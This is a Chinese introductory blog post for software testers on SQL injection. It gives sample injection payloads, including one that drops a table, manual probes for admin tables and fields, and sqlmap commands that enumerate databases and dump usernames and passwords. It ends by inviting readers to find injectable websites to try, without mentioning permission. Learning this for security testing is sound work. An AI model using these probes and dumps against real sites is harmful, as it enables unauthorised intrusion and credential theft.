SQL注入小记

  • 背景 之前在测试培训时,简要提到了安全测试,于是以此为起点,就去了解了一些安全测试相关的内容。sql注入便是其中的一部分。
  • 简介 SQL 注入是一种专门针对SQL语句的攻击方式。通过把SQL命令插入到web表单提交、输入域名或者页面请求的查询字符串中,利用现有的程序,来非法获取后台的数据库中的信息。在web的测试中涉及到的会比较多些。
  • 注入原理

存在注入的原因是后台在编写程序时,没有对用户输入的数据做过滤。

例:

1. 用户在某个输入框提交的参数是123
   浏览器提交的URL为: http://www.xxx.com/index.php?id=123
   服务器后台执行SQL语句:select * from table1 where id = 123
   此时是没有任何影响的。
2. 如果用户提交的参数是 123;drop table
   服务器后台执行SQL语句: select * from table1 where id =123 ; drop table
   相当于后台执行了两条SQL语句,查表,并且把table删除, 从而导致了SQL注入。
  • 检测注入的方法

目前主要有两种检测方式:

手工注入检测流程:

1. 判断是否存在注入点

www.abc.com/index.php?id=2'
www.abc.com/index.php?id=2 and 1=1
www.abc.com/index.php?id=2 and 1=2
第2条返回正常,第1,3条返回不正常说明id参数存在注入漏洞

2. 判定是否存在admin表

www.abc.com/index.php?id=2 and exists(select * from admin)   
返回正常,存在admin表

   3. 猜admin表中的字段名

www.abc.com/index.php?id=2 and exists(select username from admin)  
返回正常 表示admin表存在username字段

4. 检测其他sql操作

工具检测:

sqlmap: sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。

1. 下载地址

https://github.com/sqlmapproject/sqlmap.git 

2. 常用命令

1) sqlmap.py -u "http://www.abc.com/index.asp?id=1"     
   判断id参数是否存在注入:
   若存在注入,尝试执行下面的步骤
2) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --dbs
   列举能列出的所有数据库名
3) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --current-db
   列出当前使用的数据库名,假设列出“sqltest”数据库
4) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --is-dba
   判断该注入点是否有管理员权限:返回true 表示是管理员
5) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" --tables
   获取sqltest中的所有表
6) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" -T "admin" --columns
   假设有"admin"表, 列举表admin的字段(列名),假设存在"username","password"字段 
7) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump
   下载字段username,password的值,
  • 测试

以一个sqlmap检测URL为例:

1. 检测过程:

2. 检测结果:

可知该次注入检测没有成功。感兴趣的小伙伴可以寻找可注入的网址进行测试,更深入的内容还需要进行更多的探索。

本文分享自微信公众号 - 搜狗测试(SogouQA),作者:0.0

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Cypress实践记录

    前一段时间,在前端开发同学的推荐下,了解到一个前端自动化测试工具Cypress,趁着这个机会,将自己的调研记录以及在项目上的实践进行总结。如果想了解...

    用户5521279
  • Fiddler的深入应用

    以上这些操作都需要针对该功能的明文请求进行操作,但客户端发出来的加密请求,我们无法解密,阻碍了测试进行,怎么办呢?

    用户5521279
  • OC静态代码检测方案

    xcode工具其实本身就包含了静态代码分析功能,打开项目后,可通过菜单Product->Analyze来对代码进行扫描。

    用户5521279
  • Angular2学习记录-给后端程序员的经验分享

    前几天刚下定决心把毕业设计改造下,因为毕业设计算是我学习的基石,学习到的东西都尽可能的在这个平台上施展,锻炼自己.改造为前后端分离,前端使用angular2,后...

    屈定
  • 【干货】前端自学之路(持续更新)

    《JavaScript Dom编程艺术》 《JavaScript面向对象编程指南(基础)》 《JavaScript高级程序设计》 《高性能JavaScri...

    Ewall
  • Debug客栈 2017-2018年度干货分享

    此篇文章是个人在大学接触计算机期间学习计算机知识进行的一次对计算机各个领域的资料的总结,自己在这一年半的事件中收获了不少有趣的资料,还有许许多多优质的公共平台,...

    Debug客栈
  • WPF/XML 资源及相关开源项目

    昨天参加微软的一个小技术新一代设计工具 - Microsoft Expression 看到很多相关的工具.在网上一搜,找到下面这些东东,和大家分享一下. XAM...

    张善友
  • RSA大会播报 – 2014最佳安全博客提名(国外篇)

    今年美国RSA大会将在这个月的23-28号举行,每年大会上都会评出过去一年来业内最佳安全博客(Security Bloggers Network Social ...

    FB客服
  • Java研发方向如何准备BAT技术面试答案(下)

    这部分内容比较深入,整理了一些网络文章可参考,推荐看书籍的方式去复习。 81.深度优先和广度优先算法 推荐看书籍复习!网络文章只做参考,http://blog....

    JavaQ
  • Silverlight网络寻奇 at 090417

    Silverlight获取Ie外观的颜色 Silverlight 3 now supports operating system colors. This me...

    用户1172164

扫码关注云+社区

领取腾讯云代金券